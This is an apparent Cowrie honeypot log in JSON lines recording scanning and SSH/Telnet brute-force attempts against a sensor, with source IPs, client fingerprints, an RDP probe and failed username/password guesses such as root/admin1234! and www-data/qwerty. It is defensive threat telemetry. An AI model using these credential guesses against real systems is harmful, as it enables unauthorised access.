{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":59614,"dst_ip":"10.17.0.5","dst_port":22,"session":"468c744c76a6","protocol":"ssh","message":"New connection: 43.153.50.142:59614 (10.17.0.5:22) [session: 468c744c76a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:05.180624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:05.186254Z","src_ip":"43.153.50.142","session":"468c744c76a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:05.254612Z","src_ip":"43.153.50.142","session":"468c744c76a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234!","message":"login attempt [root/admin1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:05.565277Z","src_ip":"43.153.50.142","session":"468c744c76a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:06.637542Z","src_ip":"43.153.50.142","session":"468c744c76a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39996,"dst_ip":"10.17.0.5","dst_port":23,"session":"f559b387a636","protocol":"telnet","message":"New connection: 152.42.224.71:39996 (10.17.0.5:23) [session: f559b387a636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:09.089370Z"}
{"eventid":"cowrie.session.closed","duration":10.230135679244995,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:19.319399Z","src_ip":"152.42.224.71","session":"f559b387a636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52528,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee9cb89a34e4","protocol":"telnet","message":"New connection: 152.42.224.71:52528 (10.17.0.5:23) [session: ee9cb89a34e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:22.278456Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":50942,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c3baf659c4","protocol":"ssh","message":"New connection: 147.45.211.215:50942 (159.203.135.109:22) [session: f6c3baf659c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:22.893105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:22.897465Z","src_ip":"147.45.211.215","session":"f6c3baf659c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:23.066764Z","src_ip":"147.45.211.215","session":"f6c3baf659c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"robert","message":"login attempt [root/robert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:23.575527Z","src_ip":"147.45.211.215","session":"f6c3baf659c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:24.747399Z","src_ip":"147.45.211.215","session":"f6c3baf659c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35174,"dst_ip":"10.17.0.5","dst_port":23,"session":"2596758b72ea","protocol":"telnet","message":"New connection: 152.42.224.71:35174 (10.17.0.5:23) [session: 2596758b72ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:32.112324Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63538,"dst_ip":"159.203.135.109","dst_port":22,"session":"d52da9bd8bb5","protocol":"ssh","message":"New connection: 152.42.212.128:63538 (159.203.135.109:22) [session: d52da9bd8bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:45.107046Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:45.117563Z","src_ip":"152.42.212.128","session":"d52da9bd8bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:45.128551Z","src_ip":"152.42.212.128","session":"d52da9bd8bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":48816,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c0aa3dc6be","protocol":"ssh","message":"New connection: 43.153.65.139:48816 (10.17.0.5:22) [session: 57c0aa3dc6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:50.883526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:50.889615Z","src_ip":"43.153.65.139","session":"57c0aa3dc6be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:50.957546Z","src_ip":"43.153.65.139","session":"57c0aa3dc6be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"qwerty","message":"login attempt [www-data/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:51.267557Z","src_ip":"43.153.65.139","session":"57c0aa3dc6be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:52.338880Z","src_ip":"43.153.65.139","session":"57c0aa3dc6be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60042,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffd6bfe0f7ff","protocol":"telnet","message":"New connection: 152.42.224.71:60042 (10.17.0.5:23) [session: ffd6bfe0f7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:55.399792Z"}
{"eventid":"cowrie.session.closed","duration":37.13737177848816,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:59.415680Z","src_ip":"152.42.224.71","session":"ee9cb89a34e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.32380795478821,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:02.526546Z","src_ip":"152.42.224.71","session":"d92a82bb7c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":39778,"dst_ip":"10.17.0.5","dst_port":22,"session":"223e83edca09","protocol":"ssh","message":"New connection: 39.117.79.36:39778 (10.17.0.5:22) [session: 223e83edca09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:10.466394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:10.474401Z","src_ip":"39.117.79.36","session":"223e83edca09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:10.673410Z","src_ip":"39.117.79.36","session":"223e83edca09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"root","message":"login attempt [ec2-user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:11.507508Z","src_ip":"39.117.79.36","session":"223e83edca09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:12.709407Z","src_ip":"39.117.79.36","session":"223e83edca09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":60012,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fbbeff11fb3","protocol":"ssh","message":"New connection: 43.153.50.142:60012 (10.17.0.5:22) [session: 2fbbeff11fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:15.648038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:15.654603Z","src_ip":"43.153.50.142","session":"2fbbeff11fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:15.724024Z","src_ip":"43.153.50.142","session":"2fbbeff11fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rtc","password":"123456","message":"login attempt [rtc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:16.026088Z","src_ip":"43.153.50.142","session":"2fbbeff11fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:17.100924Z","src_ip":"43.153.50.142","session":"2fbbeff11fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":56096,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b27f9d84877","protocol":"ssh","message":"New connection: 103.173.227.57:56096 (159.203.135.109:22) [session: 1b27f9d84877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:21.478539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:21.483497Z","src_ip":"103.173.227.57","session":"1b27f9d84877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:21.727004Z","src_ip":"103.173.227.57","session":"1b27f9d84877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000007","message":"login attempt [root/0000007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:22.447759Z","src_ip":"103.173.227.57","session":"1b27f9d84877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:23.690378Z","src_ip":"103.173.227.57","session":"1b27f9d84877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58236,"dst_ip":"10.17.0.5","dst_port":23,"session":"92bf9058188b","protocol":"telnet","message":"New connection: 152.42.224.71:58236 (10.17.0.5:23) [session: 92bf9058188b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:24.322019Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59742,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1bbc279f1bb","protocol":"telnet","message":"New connection: 152.42.224.71:59742 (10.17.0.5:23) [session: c1bbc279f1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:31.430325Z"}
{"eventid":"cowrie.session.closed","duration":40.40625548362732,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:35.805946Z","src_ip":"152.42.224.71","session":"ffd6bfe0f7ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46130,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3d73ded40e","protocol":"ssh","message":"New connection: 109.172.54.111:46130 (10.17.0.5:22) [session: 3c3d73ded40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:43.414035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:43.418525Z","src_ip":"109.172.54.111","session":"3c3d73ded40e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:43.541884Z","src_ip":"109.172.54.111","session":"3c3d73ded40e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manager","message":"login attempt [root/manager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:43.853406Z","src_ip":"109.172.54.111","session":"3c3d73ded40e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:44.980494Z","src_ip":"109.172.54.111","session":"3c3d73ded40e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41540,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e6399920692","protocol":"telnet","message":"New connection: 152.42.224.71:41540 (10.17.0.5:23) [session: 3e6399920692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:47.044744Z"}
